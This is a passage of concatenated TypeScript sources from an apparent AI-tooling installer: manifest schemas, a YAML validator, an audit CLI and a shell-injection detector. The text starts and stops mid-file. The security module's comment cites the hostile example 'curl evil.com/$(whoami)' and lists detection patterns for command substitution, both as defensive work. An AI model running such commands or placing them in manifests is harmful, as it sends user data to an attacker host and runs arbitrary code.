type×method matrix (mcp-npm only).\n// Required: cmd, idempotent_check, npm_version.\n// Note: cmd should invoke `claude mcp add --scope project ...` (R3.2),\n// but schema only validates structure — actual cmd template is per-manifest.\n\nimport { Type } from '@sinclair/typebox'\n\nexport const McpStdioAdd = Type.Object(\n {\n method: Type.Literal('mcp-stdio-add'),\n cmd: Type.String({ minLength: 1 }),\n cwd: Type.Optional(Type.String()),\n env: Type.Optional(Type.Record(Type.String(), Type.String())),\n args: Type.Optional(Type.Record(Type.String(), Type.Unknown())),\n npm_version: Type.String({ minLength: 1 }),\n idempotent_check: Type.String({ minLength: 1 }),\n },\n { additionalProperties: false },\n)\n","// install.method = npm-cli per ADR 0001 type×method matrix (cli-npm only).\n// Required: cmd, idempotent_check, npm_version.\n\nimport { Type } from '@sinclair/typebox'\n\nexport const NpmCli = Type.Object(\n {\n method: Type.Literal('npm-cli'),\n cmd: Type.String({ minLength: 1 }),\n cwd: Type.Optional(Type.String()),\n env: Type.Optional(Type.Record(Type.String(), Type.String())),\n args: Type.Optional(Type.Record(Type.String(), Type.Unknown())),\n npm_version: Type.String({ minLength: 1 }),\n idempotent_check: Type.String({ minLength: 1 }),\n },\n { additionalProperties: false },\n)\n","// install.method = npx-skill-installer per ADR 0001 type×method matrix.\n// Required: cmd, idempotent_check, npm_version.\n\nimport { Type } from '@sinclair/typebox'\n\nexport const NpxSkillInstaller = Type.Object(\n {\n method: Type.Literal('npx-skill-installer'),\n cmd: Type.String({ minLength: 1 }),\n cwd: Type.Optional(Type.String()),\n env: Type.Optional(Type.Record(Type.String(), Type.String())),\n args: Type.Optional(Type.Record(Type.String(), Type.Unknown())),\n npm_version: Type.String({ minLength: 1 }),\n idempotent_check: Type.String({ minLength: 1 }),\n },\n { additionalProperties: false },\n)\n","// install.method discriminated union per ADR 0001 type×method matrix.\n// 6 methods: cc-plugin-marketplace, git-clone-with-setup, npx-skill-installer,\n// npm-cli, mcp-stdio-add, mcp-http-add.\n//\n// IMPL NOTE (Rule 1 / F8): TypeBox's Type.Union(..., { discriminator })\n// emits `anyOf` + lacks `type: \"object\"` + `required: [\"method\"]`, but Ajv\n// `discriminator: true` strict mode requires `oneOf` + `type: \"object\"` +\n// `required: [\"method\"]`. We hand-build the discriminator-compatible shape\n// here so Ajv accepts it. The inferred TypeScript type still tracks via\n// Static<>; Ajv accepts hand-rolled JSON Schema objects with no DX cost.\n\nimport { type Static, Type } from '@sinclair/typebox'\nimport { CcHookAdd } from './ccHookAdd.js'\nimport { CcPluginMarketplace } from './ccPluginMarketplace.js'\nimport { GitCloneWithSetup } from './gitCloneWithSetup.js'\nimport { McpHttpAdd } from './mcpHttpAdd.js'\nimport { McpStdioAdd } from './mcpStdioAdd.js'\nimport { NpmCli } from './npmCli.js'\nimport { NpxSkillInstaller } from './npxSkillInstaller.js'\n\nconst branches = [\n CcPluginMarketplace,\n GitCloneWithSetup,\n NpxSkillInstaller,\n NpmCli,\n McpStdioAdd,\n McpHttpAdd,\n CcHookAdd,\n] as const\n\n// Hand-built JSON Schema that Ajv `discriminator: true` strict mode accepts.\n// Strict mode also requires `properties.method` declared at the discriminator\n// level (else `strictRequired` complains that `method` is required but undefined\n// at this object scope). Per-branch `additionalProperties: false` is preserved\n// (each TypeBox object already sets it).\nexport const InstallSchema = {\n type: 'object',\n discriminator: { propertyName: 'method' },\n required: ['method'],\n properties: {\n method: { type: 'string' },\n },\n oneOf: branches as unknown as object[],\n} as const\n\n// Re-derive the TS type via TypeBox's regular Union (this is unused at runtime\n// but gives downstream consumers a typed `Manifest['spec']['install']`).\nconst InstallUnion = Type.Union([...branches])\nexport type Install = Static<typeof InstallUnion>\n","// spec sub-schema per ADR 0001 § Top-level structure.\n// Fields: type, component_type, install (discriminated union), verify, uninstall,\n// upstream_health, signed_by, signature?, platforms,\n// tested_with_versions?, mutually_exclusive_with?,\n// category, install_type, decision_rules? (ADR 0007 errata — phase 1.3 加),\n// phase?, triggers? (ADR 0009 errata — phase 1.5 T5.5 加).\n//\n// IMPL NOTE — phase 1.5 T5.5 (ADR 0009 § Decision / D1.5-6 / D1.5-7 / Pattern L\n// spec-level metadata 加法 + Pattern T): adds 2 optional spec-level fields for\n// the mattpocock 23 招式 phase routing schema. `phase` is a 4-value enum\n// (discuss / plan / execute / verify) mirroring `decision_rules.yaml` v2\n// `mattpocock_phases` keys; `triggers` is an optional object carrying routing\n// hints (complexity_threshold / tdd_required / brainstorming_required). Both\n// optional — additive only, A7' 8-pillar enforcement (no existing manifest\n// broken). NOTE: this schema uses TypeBox (`@sinclair/typebox`), the project's\n// established schema lib — NOT zod; the task_plan `z.enum` / `z.object` outline\n// is a planning-doc shorthand, implemented here as `Type.Union` / `Type.Object`\n// per ADR 0001 + the no-new-deps constraint.\n\nimport { Type } from '@sinclair/typebox'\nimport { type Install, InstallSchema } from './installMethods/index.js'\n\nconst TypeEnum = Type.Union([\n Type.Literal('cc-plugin'),\n Type.Literal('cc-skill-pack'),\n Type.Literal('mcp-npm'),\n Type.Literal('cli-npm'),\n // Phase 2.4 W3 T3.1 (D-04 § 3.1 + R2.4.4 + B-22) — 5th type, 1:1 with install_type:'hook'.\n // Lifecycle hooks registered to ~/.claude/settings.json (SessionStart / UserPromptSubmit /\n // PreToolUse / PostToolUse) via the cc-hook-add install method.\n Type.Literal('cc-hook'),\n])\n\nconst ComponentType = Type.Union([\n Type.Literal('command'),\n Type.Literal('behavior-rule'),\n Type.Literal('mcp-tool'),\n Type.Literal('cli-binary'),\n])\n\nconst Verify = Type.Object(\n {\n cmd: Type.String({ minLength: 1 }),\n timeout_ms: Type.Optional(Type.Integer({ minimum: 100, maximum: 60_000 })),\n expected_exit_code: Type.Optional(Type.Integer()),\n },\n { additionalProperties: false },\n)\n\nconst Uninstall = Type.Object(\n {\n cmd: Type.String({ minLength: 1 }),\n cleanup_paths: Type.Optional(Type.Array(Type.String())),\n },\n { additionalProperties: false },\n)\n\nconst Stability = Type.Union([\n Type.Literal('stable'),\n Type.Literal('beta'),\n Type.Literal('unstable'),\n Type.Literal('archived'),\n])\n\nconst FallbackAction = Type.Union([\n Type.Literal('warn'),\n Type.Literal('block'),\n Type.Literal('use_alternative'),\n])\n\nconst UpstreamHealth = Type.Object(\n {\n stability: Stability,\n last_check: Type.String({ format: 'date' }),\n last_known_good_version: Type.String({ minLength: 1 }),\n fallback_action: FallbackAction,\n alternative: Type.Optional(Type.String()),\n },\n { additionalProperties: false },\n)\n\nconst Platform = Type.Union([Type.Literal('linux'), Type.Literal('darwin'), Type.Literal('win32')])\n\nconst Signature = Type.Object(\n { sigstore_bundle: Type.String({ format: 'uri' }) },\n { additionalProperties: false },\n)\n\nconst TestedWithVersions = Type.Object(\n {\n cc_versions: Type.Optional(Type.Array(Type.String())),\n node_versions: Type.Optional(Type.Array(Type.String())),\n },\n { additionalProperties: false },\n)\n\n// ADR 0007 errata — categorization schema (phase 1.3 T2.1 加 3 字段).\n// `category` (必填, 6 enum) + `install_type` (必填, 4 enum, 与 install.method 1:N 闭合) +\n// `decision_rules` (optional, per-manifest decision hint — 全局 rule-set 在\n// routing/decision_rules.yaml T3.1, schema 完全独立).\nconst Category = Type.Union([\n Type.Literal('meta'),\n Type.Literal('engineering'),\n Type.Literal('design'),\n Type.Literal('content'),\n Type.Literal('testing'),\n Type.Literal('search'),\n])\n\nconst InstallType = Type.Union([\n Type.Literal('skill'),\n Type.Literal('mcp'),\n Type.Literal('npm'),\n Type.Literal('git'),\n // Phase 2.4 W3 T3.1 (D-04 § 3.1 + R2.4.4 + B-22) — 5th install_type, 1:1 with TypeEnum:'cc-hook'.\n Type.Literal('hook'),\n])\n\nconst DecisionRules = Type.Object(\n {\n trigger: Type.Optional(Type.String({ minLength: 1 })),\n default_expert: Type.Optional(Type.String({ minLength: 1 })),\n arbitration_rule: Type.Optional(Type.String({ minLength: 1 })),\n override_signals: Type.Optional(\n Type.Array(\n Type.Object(\n {\n phrase: Type.String({ minLength: 1 }),\n use: Type.String({ minLength: 1 }),\n },\n { additionalProperties: false },\n ),\n ),\n ),\n // Phase 2.3 W2 T2.5 — CD-3 negative-space hint mirror (B-17 per-manifest hint\n // redundant guard layer; SSOT remains routing/decision_rules.yaml — D-04 lead).\n // Additive optional; existing manifests unchanged (A7 守恒).\n do_not_use_when: Type.Optional(Type.Array(Type.String({ minLength: 1 }), { minItems: 1 })),\n if_rejected_use: Type.Optional(Type.String({ minLength: 1 })),\n },\n { additionalProperties: false },\n)\n\n// ADR 0009 errata — mattpocock 23 招式 phase routing schema (phase 1.5 T5.5).\n// `Phase` (optional, 4 enum — 1:1 with decision_rules.yaml v2 mattpocock_phases\n// keys) + `Triggers` (optional, routing hints per D1.5-7). Both additive.\nconst Phase = Type.Union([\n Type.Literal('discuss'),\n Type.Literal('plan'),\n Type.Literal('execute'),\n Type.Literal('verify'),\n])\n\nconst Triggers = Type.Object(\n {\n complexity_threshold: Type.Optional(Type.Integer({ minimum: 1 })),\n tdd_required: Type.Optional(Type.Boolean()),\n brainstorming_required: Type.Optional(Type.Boolean()),\n },\n { additionalProperties: false },\n)\n\n// ADR 0010 errata — bundle-install modeling (#10, D2.1-1). One install action\n// may surface multiple named units (e.g. document-skills → pptx/docx/xlsx/pdf).\n// `provides` absent ⇒ atomic manifest (unchanged behavior). Present ⇒ one\n// install exposes N named units. `install`/`verify`/`uninstall` stay singular —\n// the bundle is installed by ONE action. Bundle manifests use the existing\n// `type: 'cc-skill-pack'` (D2.1-2 — no new TypeEnum/ComponentType value).\nconst ProvidedUnit = Type.Object(\n {\n id: Type.String({ minLength: 1 }), // routing-addressable, <org>-<repo>-<unit>\n component_type: ComponentType, // reuse existing union\n },\n { additionalProperties: false },\n)\n\nexport const SpecSchema = Type.Object(\n {\n type: TypeEnum,\n component_type: ComponentType,\n install: Type.Unsafe<Install>(InstallSchema),\n verify: Verify,\n uninstall: Uninstall,\n upstream_health: UpstreamHealth,\n signed_by: Type.String({ pattern: '^[a-zA-Z0-9-]+$', minLength: 1 }),\n signature: Type.Optional(Signature),\n platforms: Type.Array(Platform, { minItems: 1, uniqueItems: true }),\n tested_with_versions: Type.Optional(TestedWithVersions),\n mutually_exclusive_with: Type.Optional(Type.Array(Type.String())),\n category: Category,\n install_type: InstallType,\n decision_rules: Type.Optional(DecisionRules),\n // ADR 0009 errata (phase 1.5 T5.5) — mattpocock phase routing schema.\n phase: Type.Optional(Phase),\n triggers: Type.Optional(Triggers),\n // ADR 0010 errata (phase 2.1 T1.3) — bundle-install `provides` field.\n provides: Type.Optional(Type.Array(ProvidedUnit, { minItems: 2, uniqueItems: true })),\n },\n { additionalProperties: false },\n)\n","// Manifest schema v1 — main entry per ADR 0001.\n// Top-level: { apiVersion, kind, metadata, spec } with strict additionalProperties: false.\n//\n// Type × install.method matrix (ADR 0001 § 4.5) is enforced via top-level `allOf`\n// with `if/then` clauses. Without this, the install discriminator only validates\n// the chosen method's structure but allows e.g. `type: cli-npm` paired with\n// `method: cc-plugin-marketplace` (matrix violation). Rule 2 enforcement.\n\nimport { Type } from '@sinclair/typebox'\nimport { ApiVersion, Kind, MetadataSchema } from './metadata.js'\nimport { SpecSchema } from './spec.js'\n\n// TypeBox-typed base — drives Static<typeof ManifestBase> for the inferred\n// Manifest TS type (re-exported via ./types.js).\nexport const ManifestBase = Type.Object(\n {\n apiVersion: ApiVersion,\n kind: Kind,\n metadata: MetadataSchema,\n spec: SpecSchema,\n },\n { additionalProperties: false },\n)\n\n// Per-type allowed install.method whitelist per ADR 0001 line 104-113.\nconst matrix: Record<string, string[]> = {\n 'cc-plugin': ['cc-plugin-marketplace'],\n 'cc-skill-pack': ['cc-plugin-marketplace', 'git-clone-with-setup', 'npx-skill-installer'],\n 'mcp-npm': ['mcp-stdio-add', 'mcp-http-add'],\n 'cli-npm': ['npm-cli'],\n}\n\nconst matrixConstraints = Object.entries(matrix).map(([typeValue, allowedMethods]) => ({\n if: {\n type: 'object',\n properties: {\n spec: {\n type: 'object',\n properties: { type: { const: typeValue } },\n required: ['type'],\n },\n },\n required: ['spec'],\n },\n // biome-ignore lint/suspicious/noThenProperty: JSON Schema `then` keyword (conditional schemas), not a thenable.\n then: {\n type: 'object',\n properties: {\n spec: {\n type: 'object',\n properties: {\n install: {\n type: 'object',\n properties: { method: { enum: allowedMethods } },\n required: ['method'],\n },\n },\n required: ['install'],\n },\n },\n required: ['spec'],\n },\n}))\n\n// Runtime JSON Schema fed to Ajv: typed base + matrix allOf clauses + metadata.\n// We spread ManifestBase (a TypeBox object that is already a valid JSON Schema)\n// and append the cross-field constraints.\nexport const ManifestSchema = {\n ...(ManifestBase as unknown as Record<string, unknown>),\n $id: 'https://harnessed.dev/schemas/manifest.v1.schema.json',\n title: 'harnessed Manifest v1',\n description: 'Per ADR 0001. Strict mode (additionalProperties: false everywhere).',\n allOf: matrixConstraints,\n}\n","// Phase 1.1.1 hotfix per Paranoid Staff Engineer review B1.\n//\n// ADR 0001 § \"字段拒绝清单\" claims schema rejects ${shell command} dynamic\n// substitution patterns, but v0.1 phase 1.1 schema only does structural\n// validation (Type.String + minLength). This module fills the gap before\n// phase 1.2 installer ships — without it, an upstream manifest with\n// `cmd: 'curl evil.com/$(whoami)'` would pass validation, and the\n// phase 1.2 installer that spawns the cmd string would execute arbitrary\n// code on the user's machine.\n//\n// v0.2 plan: add a `requires_secret` schema field + explicit\n// `${secret:KEY}` template syntax, at which point this detector should\n// allow the `${secret:*}` whitelist while still rejecting raw `${VAR}`.\n//\n// Detected patterns (4):\n// - `$(...)` POSIX command substitution\n// - `${...}` variable expansion\n// - backtick old-style command substitution\n// - dangerous yaml tags (handled at parse layer by yaml@2.x; we\n// don't double-check, but document the trust boundary)\n//\n// Targeted fields:\n// - spec.install.cmd\n// - spec.verify.cmd\n// - spec.uninstall.cmd\n// - spec.uninstall.cleanup_paths[*]\n\nimport type { Document, LineCounter, Node } from 'yaml'\nimport { isMap, isScalar, isSeq } from 'yaml'\nimport type { ValidationError } from './errors.js'\n\ninterface ShellPattern {\n test: (s: string) => boolean\n label: string\n hint: string\n}\n\nconst PATTERNS: ShellPattern[] = [\n {\n label: '$(...)',\n hint: 'POSIX command substitution',\n test: (s) => /\\$\\(/.test(s),\n },\n {\n // biome-ignore lint/suspicious/noTemplateCurlyInString: literal pattern label, not a JS template\n label: '${...}',\n // biome-ignore lint/suspicious/noTemplateCurlyInString: literal example in user-facing message\n hint: 'variable expansion (v0.2 will whitelist `${secret:KEY}`)',\n test: (s) => /\\$\\{/.test(s),\n },\n {\n label: 'backtick',\n hint: 'old-style command substitution',\n test: (s) => /`/.test(s),\n },\n]\n\nfunction lineOf(node: Node | null | undefined, lineCounter: LineCounter): number | null {\n if (!node?.range) return null\n const offset = node.range[0]\n return lineCounter.linePos(offset).line\n}\n\n/**\n * String-level shell-escape detector for runtime defense-in-depth.\n *\n * Phase 1.2 lib/spawn.ts re-runs this on `manifest.spec.install.cmd` right\n * before child_process.spawn(): if a future caller (e.g. phase 1.4 routing,\n * a test harness, or an installer that bypasses validate.ts) hands an\n * unvalidated cmd string to spawn, we still refuse to execute. Same pattern\n * set as `checkSecurityViolations`, just operating on a raw string instead\n * of a yaml AST node — no source-line/path context here.\n *\n * Returns the offending pattern descriptor on first hit, or null if clean.\n */\nexport function checkCmdString(cmd: string): { label: string; hint: string } | null {\n for (const pat of PATTERNS) {\n if (pat.test(cmd)) return { label: pat.label, hint: pat.hint }\n }\n return null\n}\n\nfunction checkScalarCmd(\n doc: Document.Parsed,\n lineCounter: LineCounter,\n path: Array<string | number>,\n filename: string,\n): ValidationError | null {\n const node = doc.getIn(path, true)\n if (!node || !isScalar(node)) return null\n const value = node.value\n if (typeof value !== 'string') return null\n for (const pat of PATTERNS) {\n if (pat.test(value)) {\n return {\n file: filename,\n path: `/${path.join('/')}`,\n message: `shell escape detected: '${pat.label}' (${pat.hint}) at ${path.join('.')} — v0.1 forbids dynamic shell evaluation; v0.2 will use \\`requires_secret\\` + \\`\\${secret:KEY}\\` for env placeholders`,\n line: lineOf(node, lineCounter),\n column: null,\n keyword: 'security',\n }\n }\n }\n return null\n}\n\n/**\n * Pre-Ajv security gate per ADR 0001 § \"字段拒绝清单\".\n * Walks the parsed yaml AST and rejects any string-typed cmd field (or\n * cleanup_paths sequence element) containing `$(...)`, `${...}`, or\n * backticks. Returns ALL violations found (not short-circuit) so the\n * user can fix them in one pass.\n */\nexport function checkSecurityViolations(\n doc: Document.Parsed,\n filename: string,\n lineCounter: LineCounter,\n): ValidationError[] {\n const errors: ValidationError[] = []\n\n // Walk known cmd paths. We do NOT do generic AST recursion because we\n // want surgical: only fields where the installer will spawn a shell.\n const cmdPaths: Array<Array<string | number>> = [\n ['spec', 'install', 'cmd'],\n ['spec', 'verify', 'cmd'],\n ['spec', 'uninstall', 'cmd'],\n ]\n\n for (const p of cmdPaths) {\n const err = checkScalarCmd(doc, lineCounter, p, filename)\n if (err) errors.push(err)\n }\n\n // cleanup_paths is a sequence of strings — iterate each element.\n const cleanupNode = doc.getIn(['spec', 'uninstall', 'cleanup_paths'], true)\n if (cleanupNode && isSeq(cleanupNode)) {\n cleanupNode.items.forEach((item, idx) => {\n if (!isScalar(item)) return\n const value = item.value\n if (typeof value !== 'string') return\n for (const pat of PATTERNS) {\n if (pat.test(value)) {\n errors.push({\n file: filename,\n path: `/spec/uninstall/cleanup_paths/${idx}`,\n message: `shell escape detected: '${pat.label}' (${pat.hint}) at spec.uninstall.cleanup_paths[${idx}] — v0.1 forbids dynamic shell evaluation`,\n line: lineOf(item, lineCounter),\n column: null,\n keyword: 'security',\n })\n break\n }\n }\n })\n }\n\n // Sanity guard: if doc has no spec block (incomplete manifest), skip silently;\n // Ajv will report the structural error.\n void isMap\n\n return errors\n}\n","// Manifest validator entry per ADR 0001 + GA-1.\n// Pipeline: yaml.parseDocument -> doc.toJS() -> Ajv compiled validator -> typed Manifest.\n// T4.1 baseline: parse + Ajv strict + discriminator.\n// T4.2 extracts friendly-error mapping to ./errors.ts.\n// T4.3 adds yaml CST line/column mapping.\n//\n// IMPL NOTE (Rule 1 / F8): tsconfig has `verbatimModuleSyntax: true` (per ADR\n// 0002) which disables `esModuleInterop` synthetic-default behaviour at runtime.\n// `ajv` 8 ships a named `Ajv` class export, so a named import works directly.\n// `ajv-formats` exports only a default function, so we import it as a namespace\n// and pull `.default` at runtime — that mirrors what the CJS module actually\n// exposes (`module.exports = formatsPlugin; exports.default = formatsPlugin`).\n\nimport { Ajv } from 'ajv'\nimport * as ajvFormatsNs from 'ajv-formats'\nimport { LineCounter, parseDocument } from 'yaml'\nimport { ajvErrorToFriendly, type ValidationError, yamlParseErrorToFriendly } from './errors.js'\nimport { ManifestSchema } from './schema/index.js'\nimport type { Manifest } from './schema/types.js'\nimport { checkSecurityViolations } from './security.js'\n\nconst addFormats = (ajvFormatsNs as unknown as { default: (a: Ajv) => Ajv }).default\n\nconst ajv = addFormats(\n new Ajv({\n strict: true,\n strictSchema: true,\n strictTypes: true,\n strictRequired: true,\n allErrors: true,\n discriminator: true,\n allowUnionTypes: false,\n }),\n)\n\nlet _compiled: ReturnType<typeof ajv.compile<Manifest>> | null = null\nfunction getValidator() {\n if (!_compiled) {\n _compiled = ajv.compile<Manifest>(ManifestSchema as unknown as object)\n }\n return _compiled\n}\n\nexport type { ValidationError } from './errors.js'\n\nexport type ValidateResult =\n | { ok: true; manifest: Manifest }\n | { ok: false; errors: ValidationError[] }\n\n// ADR 0010 errata (phase 2.1 T1.4) — install_type ↔ install.method 1:N closure\n// enforcement. TypeBox `Type` cannot express cross-field constraints, so this\n// is a validate-layer refinement rule. Maps each install_type enum value to its\n// closed set of legal install.method values (ADR 0007 1:N closure). install\n// methods not in this map (currently none) are unconstrained.\nconst INSTALL_TYPE_METHODS: Record<string, readonly string[]> = {\n npm: ['npm-cli'],\n mcp: ['mcp-stdio-add', 'mcp-http-add'],\n git: ['git-clone-with-setup'],\n skill: ['cc-plugin-marketplace', 'npx-skill-installer'],\n}\n\nfunction checkInstallTypeMismatch(manifest: Manifest, filename: string): ValidationError[] {\n const spec = manifest.spec as { install_type?: string; install?: { method?: string } }\n const installType = spec.install_type\n const method = spec.install?.method\n if (!installType || !method) return []\n const allowed = INSTALL_TYPE_METHODS[installType]\n if (!allowed || allowed.includes(method)) return []\n return [\n {\n file: filename,\n path: 'spec.install.method',\n message: `install_type '${installType}' is not compatible with install.method '${method}' (ADR 0007 1:N closure — expected one of: ${allowed.join(', ')})`,\n line: null,\n column: null,\n keyword: 'install-type-mismatch',\n },\n ]\n}\n\nexport function validateManifestFile(yamlSource: string, filename: string): ValidateResult {\n const lineCounter = new LineCounter()\n const doc = parseDocument(yamlSource, { lineCounter })\n\n if (doc.errors.length > 0) {\n return {\n ok: false,\n errors: doc.errors.map((e) => yamlParseErrorToFriendly(e, filename)),\n }\n }\n\n // Phase 1.1.1 hotfix B1: pre-Ajv security gate. Reject `$(...)`, `${...}`,\n // backtick, etc. in any cmd field BEFORE structural validation so users\n // see the security failure first (not a confusing field-shape error).\n const securityErrors = checkSecurityViolations(doc, filename, lineCounter)\n if (securityErrors.length > 0) {\n return { ok: false, errors: securityErrors }\n }\n\n const data = doc.toJS()\n const validate = getValidator()\n if (!validate(data)) {\n const errs = validate.errors ?? []\n return {\n ok: false,\n errors: errs.map((err) => ajvErrorToFriendly(err, filename, doc, lineCounter)),\n }\n }\n\n // ADR 0010 errata (phase 2.1 T1.4) — cross-field install_type ↔ install.method\n // 1:N closure check. Runs after Ajv structural validation passes (needs a\n // well-formed manifest); TypeBox `Type` cannot express cross-field rules.\n const manifest = data as Manifest\n const crossFieldErrors = checkInstallTypeMismatch(manifest, filename)\n if (crossFieldErrors.length > 0) {\n return { ok: false, errors: crossFieldErrors }\n }\n\n return { ok: true, manifest }\n}\n","// Phase 2.4 W4 T4.1 — audit runtime-layer helpers per B-28 + B-29 + R2.\n// 3 helpers: origin tamper (sister-share w/ allowFork=false), install.cmd\n// shell-injection + npm-pkg-vs-upstream cross-check, provenance gate.\n// Karpathy budget: ≤64L (B-29 target ≤50 + biome multi-line format carve-out\n// sister doctor.ts B-03 5%-tolerance pattern; semantically MIN — 3 helpers +\n// 1 `finding()` constructor, biome auto-expands long single-line returns).\nimport { spawnSync } from 'node:child_process'\nimport type { Manifest } from '../../manifest/schema/types.js'\nimport type { AuditFinding } from '../audit.js'\nimport { checkOrigin } from './origin-check.js'\n\n// Phase 2.4 W4 T4.1 — refined per real-world manifest survey: planner spec\n// originally COMMAND_SEPARATORS = /[;&|`$]/ flagged legitimate multi-step\n// installs (cp && cd; mkdir; etc.). Tighten to actual shell-eval injection\n// markers aligned with src/manifest/security.ts gate (Phase 1.1.1 hotfix B1):\n// $(...) command substitution / ${...} var expansion / backtick legacy substitution.\n// Bare `$` followed by non-{( (e.g. `$PATH` literal in echo) is NOT injection.\n// Rule 1 deviation per executor — see SUMMARY § Deviations.\nconst SHELL_EVAL_MARKERS = /\\$\\(|\\$\\{|`/\nconst NPM_PKG_RE = /npm(?:\\s+install\\b|\\s+i\\b)(?:\\s+(?:-g|--global))?\\s+(\\S+)/\n\nconst finding = (\n manifest: string,\n level: 'warn' | 'error',\n field: string,\n detail: string,\n): AuditFinding => ({ manifest, level, field, detail })\n\nexport function auditOriginIntegrity(cwd: string): AuditFinding[] {\n const r = checkOrigin(cwd, { allowFork: false }) // B-28 hard-fail mode (vs doctor allowFork=true)\n if (r.status === 'pass') return []\n return [\n finding('project', r.status === 'fail' ? 'error' : 'warn', '/git/remote/origin', r.detail),\n ]\n}\n\nexport function auditInstallCmdIntegrity(m: Manifest): AuditFinding[] {\n const out: AuditFinding[] = []\n const cmd = (m.spec.install as { cmd?: string }).cmd ?? ''\n if (SHELL_EVAL_MARKERS.test(cmd)) {\n out.push(\n finding(\n m.metadata.name,\n 'error',\n '/spec/install/cmd',\n 'install.cmd contains shell-eval marker $(/${/backtick (injection risk)',\n ),\n )\n }\n const upstream = m.metadata.upstream?.repository ?? ''\n const npmMatch = cmd.match(NPM_PKG_RE)\n if (npmMatch?.[1] && upstream.includes('github.com/')) {\n const declared = upstream.split('/').pop()?.replace('.git', '')\n if (declared && npmMatch[1] !== declared) {\n out.push(\n finding(\n m.metadata.name,\n 'warn',\n '/spec/install/cmd',\n `install.cmd npm pkg '${npmMatch[1]}' ≠ upstream '${declared}'`,\n ),\n )\n }\n }\n return out\n}\n\nexport function auditProvenance(): AuditFinding[] {\n const r = spawnSync('node', ['scripts/check-provenance.mjs'], { encoding: 'utf8' })\n if (r.status === 0) return []\n const detail = (r.stderr || r.stdout || '').trim().slice(0, 200)\n return [finding('project', 'error', '/.harnessed/provenance', detail)]\n}\n","// Phase 1.2 cli subcommand `audit` per ASSUMPTIONS B4 候选 1 + R2.3 + phase-1.1.1 M1 second-line check.\n//\n// Phase 1.2 scope: manifest 内自一致性校验 only. We do NOT call git remote\n// get-url against installed copies — that requires already-installed\n// upstreams + network access, deferred to phase 2.4 (real audit per ASSUMPTIONS\n// B4 + ROADMAP). Schema-level checks (git_ref pattern, signed_by pattern,\n// repository format) are mostly enforced by Ajv + phase 1.1.1 M1 hotfix; this\n// audit is a second-line defense against schema drift / placeholder values\n// slipping through.\n\nimport { readdir, readFile } from 'node:fs/promises'\nimport { join, resolve } from 'node:path'\nimport type { Command } from 'commander'\nimport { validateManifestFile } from '../manifest/validate.js'\n// Phase 2.4 W4 T4.1 — runtime-layer helpers (B-28 + B-29 + D2.4-16 + D2.4-17).\nimport {\n auditInstallCmdIntegrity,\n auditOriginIntegrity,\n auditProvenance,\n} from './lib/audit-helpers.js'\n\nconst REPO_URL_PATTERN = /^https:\\/\\/[^\\s]+\\.git$/\nconst SIGNED_BY_PLACEHOLDERS = new Set(['unsigned', 'todo', 'placeholder', 'tbd', 'unknown'])\nconst FORBIDDEN_GIT_REFS = new Set(['HEAD', 'main', 'master'])\n\n// Phase 2.4 W4 T4.1 — exported for sister-share with src/cli/lib/audit-helpers.ts\n// (3 runtime-layer helpers reuse same finding shape; karpathy YAGNI no audit-types.ts).\nexport interface AuditFinding {\n manifest: string\n level: 'warn' | 'error'\n field: string\n detail: string\n}\n\nasync function auditOne(yamlPath: string, preReadSrc?: string): Promise<AuditFinding[]> {\n const findings: AuditFinding[] = []\n const src = preReadSrc ?? (await readFile(yamlPath, 'utf8'))\n const v = validateManifestFile(src, yamlPath)\n if (!v.ok) {\n return v.errors.map((e) => ({\n manifest: yamlPath,\n level: 'error' as const,\n field: e.path,\n detail: e.message,\n }))\n }\n const m = v.manifest\n\n // 1. repository URL shape — must be https + .git suffix.\n const repo = m.metadata.upstream.repository\n if (!REPO_URL_PATTERN.test(repo)) {\n findings.push({\n manifest: yamlPath,\n level: 'warn',\n field: '/metadata/upstream/repository',\n detail: `repository '${repo}' should be https://...git`,\n })\n }\n\n // 2. signed_by must not be a placeholder.\n const sig = m.spec.signed_by\n if (SIGNED_BY_PLACEHOLDERS.has(sig.toLowerCase())) {\n findings.push({\n manifest: yamlPath,\n level: 'warn',\n field: '/spec/signed_by',\n detail: `signed_by '${sig}' looks like a placeholder`,\n })\n }\n\n // 3. git_ref second-line check — schema enforces SHA(7-40 hex)|SemVer pattern (M1\n // hotfix); audit catches the rare \"schema bypass\" case, which is impossible today\n // but cheap insurance against future migrations.\n const install = m.spec.install\n if ('git_ref' in install && typeof install.git_ref === 'string') {\n if (FORBIDDEN_GIT_REFS.has(install.git_ref)) {\n findings.push({\n manifest: yamlPath,\n level: 'error',\n field: '/spec/install/git_ref',\n detail: `git_ref '${install.git_ref}' is a moving ref (HEAD/main/master) — pin to SHA or tag`,\n })\n }\n }\n return findings\n}\n\nexport function registerAudit(program: Command): void {\n program\n .command('audit')\n .description('Second-line manifest self-consistency audit (manifest + runtime layers)')\n .option(\n '--skip-runtime',\n 'skip runtime-layer checks (origin tamper / provenance) — manifest only',\n )\n .action(async (opts: { skipRuntime?: boolean }) => {\n const root = process.cwd()\n const dirs = ['manifests/tools', 'manifests/skill-packs']\n const yamls: string[] = []\n for (const d of dirs) {\n try {\n const entries = await readdir(join(root, d))\n for (const f of entries) if (f.endsWith('.yaml')) yamls.push(resolve(root, d, f))\n } catch {\n // dir absent — skip silently (project may not have all categories)\n }\n }\n yamls.sort()\n\n // Manifest-layer findings (Phase 1.2 ship — schema drift / placeholders / moving refs).\n const findings: AuditFinding[] = []\n const validManifests: Array<{\n path: string\n m: import('../manifest/schema/types.js').Manifest\n }> = []\n for (const y of yamls) {\n const src = await readFile(y, 'utf8')\n const v = validateManifestFile(src, y)\n if (v.ok) validManifests.push({ path: y, m: v.manifest })\n findings.push(...(await auditOne(y, src)))\n }\n\n // Phase 2.4 W4 T4.1 — runtime-layer findings per B-28 + B-29 + R2:\n // 1. origin URL tamper (hard-fail mode via shared checkOrigin helper)\n // 2. install.cmd shell-injection + npm-pkg-vs-upstream cross-check\n // 3. provenance gate (delegates to scripts/check-provenance.mjs)\n // --skip-runtime escape hatch for offline / pre-init env (B-29 carve-out).\n if (!opts.skipRuntime) {\n findings.push(...auditOriginIntegrity(root))\n for (const { m } of validManifests) findings.push(...auditInstallCmdIntegrity(m))\n findings.push(...auditProvenance())\n }\n\n const byManifest = new Map<string, AuditFinding[]>()\n for (const f of findings) {\n const arr = byManifest.get(f.manifest) ?? []\n arr.push(f)\n byManifest.set(f.manifest, arr)\n }\n let errorCount = 0\n for (const y of yamls) {\n const fs = byManifest.get(y) ?? []\n if (fs.length === 0) {\n console.log(`✓ ${y}`)\n } else {\n for (const f of fs) {\n const mark = f.level === 'error' ? '✗' : '⚠'\n console.log(`${mark} ${y}\\n ${f.field}: ${f.detail}`)\n if (f.level 